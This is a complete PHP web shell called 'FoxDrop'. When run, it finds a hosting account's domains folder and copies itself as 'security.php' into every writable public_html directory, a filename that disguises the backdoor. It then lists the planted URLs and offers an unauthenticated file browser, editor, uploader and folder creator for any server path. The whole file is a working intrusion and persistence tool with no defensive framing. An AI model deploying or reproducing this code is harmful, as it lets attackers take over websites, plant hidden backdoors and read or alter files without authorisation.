<?php
// 🛡️ FOXDROP | Auto deploy + file manager
error_reporting(E_ALL);
ini_set('display_errors', 1);

// === Auto-spread Setup ===
function locateDomainsBase($origin) {
    $here = realpath($origin);
    while ($here && $here !== DIRECTORY_SEPARATOR) {
        $leaf = basename($here);
        if (preg_match('/^u[0-9a-z]+$/i', $leaf)) {
            $maybe = $here . DIRECTORY_SEPARATOR . 'domains';
            if (is_dir($maybe)) return $maybe;
        }
        $here = dirname($here);
    }
    return false;
}

$self = __FILE__;
$deploy_name = "security.php";  // 🔒 This is the forced filename for copied shells
$start = dirname($self);
$targets = [];

$domains_dir = locateDomainsBase($start);

if ($domains_dir && is_dir($domains_dir)) {
    $subs = scandir($domains_dir);
    foreach ($subs as $domain) {
        if ($domain === '.' || $domain === '..') continue;
        $pub = $domains_dir . DIRECTORY_SEPARATOR . $domain . DIRECTORY_SEPARATOR . 'public_html';
        if (is_dir($pub) && is_writable($pub)) {
            $dest = $pub . DIRECTORY_SEPARATOR . $deploy_name;
            if (@copy($self, $dest)) {
                $targets[] = "http://$domain/$deploy_name";
            }
        }
    }
    if (!empty($targets)) {
        echo "<h2 style='color:#4afc4a'>✅ Shell copied as <code>security.php</code>:</h2><ul>";
        foreach ($targets as $u) echo "<li><a href='$u' target='_blank' style='color:#6af'>$u</a></li>";
        echo "</ul><hr>";
    } else {
        echo "<p style='color:orange'>⚠️ Found domains, but no copies succeeded.</p>";
    }
} else {
    echo "<p style='color:red'>❌ domains folder not found.</p>";
}

// === File manager UI ===
$dir = isset($_GET['go']) ? $_GET['go'] : getcwd();
$dir = realpath($dir);

// === Editor ===
if (isset($_GET['edit']) && isset($_GET['go'])) {
    $targetFile = $dir . DIRECTORY_SEPARATOR . basename($_GET['edit']);
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content_save'])) {
        file_put_contents($targetFile, $_POST['content']);
        echo "<p style='color: #4afc4a;'>💾 Saved.</p>";
    }
    $code = @file_get_contents($targetFile);
    echo "<h2>✏️ Editing: " . htmlspecialchars($_GET['edit']) . "</h2>";
    echo "<form method='post'>
        <textarea name='content' rows='20' cols='100'>" . htmlspecialchars($code) . "</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=" . urlencode($dir) . "'>🔙 Back</a>";
    exit;
}

// === Upload ===
if (isset($_FILES['dropfile'])) {
    $to = $dir . DIRECTORY_SEPARATOR . basename($_FILES['dropfile']['name']);
    move_uploaded_file($_FILES['dropfile']['tmp_name'], $to);
    echo "<p style='color:#4afc4a'>📤 Uploaded: " . htmlspecialchars($_FILES['dropfile']['name']) . "</p>";
}

// === Create folder ===
if (isset($_POST['mkfolder']) && $_POST['mkfolder']) {
    $folder = $dir . DIRECTORY_SEPARATOR . basename($_POST['mkfolder']);
    if (!file_exists($folder)) {
        mkdir($folder);
        echo "<p style='color:#4afc4a'>📁 Folder created.</p>";
    } else {
        echo "<p style='color:#fc4a4a'>❌ Already exists.</p>";
    }
}

// === Styles ===
echo "<style>
body { background:#121212; color:#ccc; font-family:monospace; padding:15px; }
a { color:#6af; text-decoration:none; }
a:hover { text-decoration:underline; }
h2 { color:#fff; }
ul { line-height:1.6; }
</style>";

// === Breadcrumbs ===
echo "<h2>🗂️ FoxDrop Manager</h2><p><strong>Path:</strong> ";
$steps = explode(DIRECTORY_SEPARATOR, $dir);
$build = '';
foreach ($steps as $seg) {
    if ($seg === '') {
        $build .= DIRECTORY_SEPARATOR;
        echo "<a href='?go=" . urlencode($build) . "'>/</a>";
        continue;
    }
    $build .= $seg . DIRECTORY_SEPARATOR;
    echo "<a href='?go=" . urlencode($build) . "'>" . htmlspecialchars($seg) . "</a>/";
}
echo "</p><hr>";

// === List files/folders ===
$items = scandir($dir);
echo "<ul>";
foreach ($items as $item) {
    if ($item === '.') continue;
    $path = $dir . DIRECTORY_SEPARATOR . $item;
    if (is_dir($path)) {
        echo "<li>📁 <a href='?go=" . urlencode($path) . "'>" . htmlspecialchars($item) . "</a></li>";
    } else {
        echo "<li>📄 <a href='?go=" . urlencode($dir) . "&edit=" . urlencode($item) . "'>" . htmlspecialchars($item) . "</a></li>";
    }
}
echo "</ul><hr>";

// === Upload form ===
echo "<form method='post' enctype='multipart/form-data'>
<label>📤 File Upload:</label>
<input type='file' name='dropfile'>
<input type='submit' value='Upload'>
</form>";

// === Folder creation ===
echo "<form method='post'>
<label>📁 New Folder:</label>
<input type='text' name='mkfolder'>
<input type='submit' value='Create'>
</form>";
?>
